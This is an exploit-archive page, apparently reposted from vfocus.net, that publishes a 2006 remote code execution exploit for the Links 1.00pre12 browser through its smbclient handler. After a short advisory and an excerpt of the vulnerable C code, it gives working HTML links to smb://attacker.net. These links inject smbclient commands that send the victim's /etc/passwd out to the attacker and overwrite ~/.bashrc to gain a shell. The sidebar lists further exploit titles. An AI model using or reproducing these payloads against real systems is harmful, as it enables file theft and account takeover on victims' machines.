首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Links 1.00pre12 (smbclient) Remote Code Execution Exploit
来源:vfocus.net 作者:Teemu 发布时间:2006-11-20  

<!--
Links smbclient command execution
-----------------------------------------------------------------------------
There is a flaw in the Links web browser, that allows malicious web sites to
execute smbclient commands on the victim's machine. This flaw makes it
possible to read any file from the victim system (any file that the user
running links has read access), or to upload any file to the victim system
(any file that the user running links can create/overwrite). The attacker
could, for example, upload ~/.bashrc to gain shell access.

Version numbers:
-----------------------------------------------------------------------------
I tested this on Ubuntu 6.06 LTS and Links 1.00pre12. Smbclient must also
be installed.

Vulnerable code:
-----------------------------------------------------------------------------
smb_func() in smb.c:
...
143 if (*share) {
144 if (!*dir || dir[strlen(dir) - 1] == '/'
|| dir[strlen(dir) - 1] == '\\') {
145 if (dir) {
146 v[n++] = "-D";
147 v[n++] = dir;
148 }
149 v[n++] = "-c";
150 v[n++] = "ls";
151 } else {
152 unsigned char *ss;
153 unsigned char *s = stracpy("get
\"");
'dir' is the directory part of the smb://.. url:
154 add_to_strn(&s, dir);
155 add_to_strn(&s, "\" -");
156 while ((ss = strchr(s, '/')))
*ss = '\\';
157 v[n++] = "-c";
158 v[n++] = s;
159 }
160 }
161 v[n++] = NULL;
smbclient is executed:
162 execvp("smbclient", (char **)v);
163 fprintf(stderr, "smbclient not found in $PATH");
164 _exit(1);
...
-->
<html>
<a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd etc; put passwd ; exit; '>Put /etc/passwd</a>
<a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd home; lcd teemu; get HOHO .bashrc; exit; '>Get .bashrc</a>
</html>



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·CMSmelborp Beta (user_standard
·WinZIP <= 10.0.7245 (FileVi
·ASPPortal <= 4.0.0 (default
·Kerio WebSTAR 5.4.2 (libucache
·Munch Pro 1.0 (switch.asp) Rem
·WinZIP <= 10.0.7245 (FileVi
·Rama CMS <= 0.68 (Cookie: l
·UniversalFTP 1.0.50 (MKD) Remo
·PHPWind <= 5.0.1 (AdminUser
·linux/x86 execve(rm -rf /) she
·phpwcms <= 1.2.6 (Cookie: w
·linux/x86 forkbomb 7 bytes
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved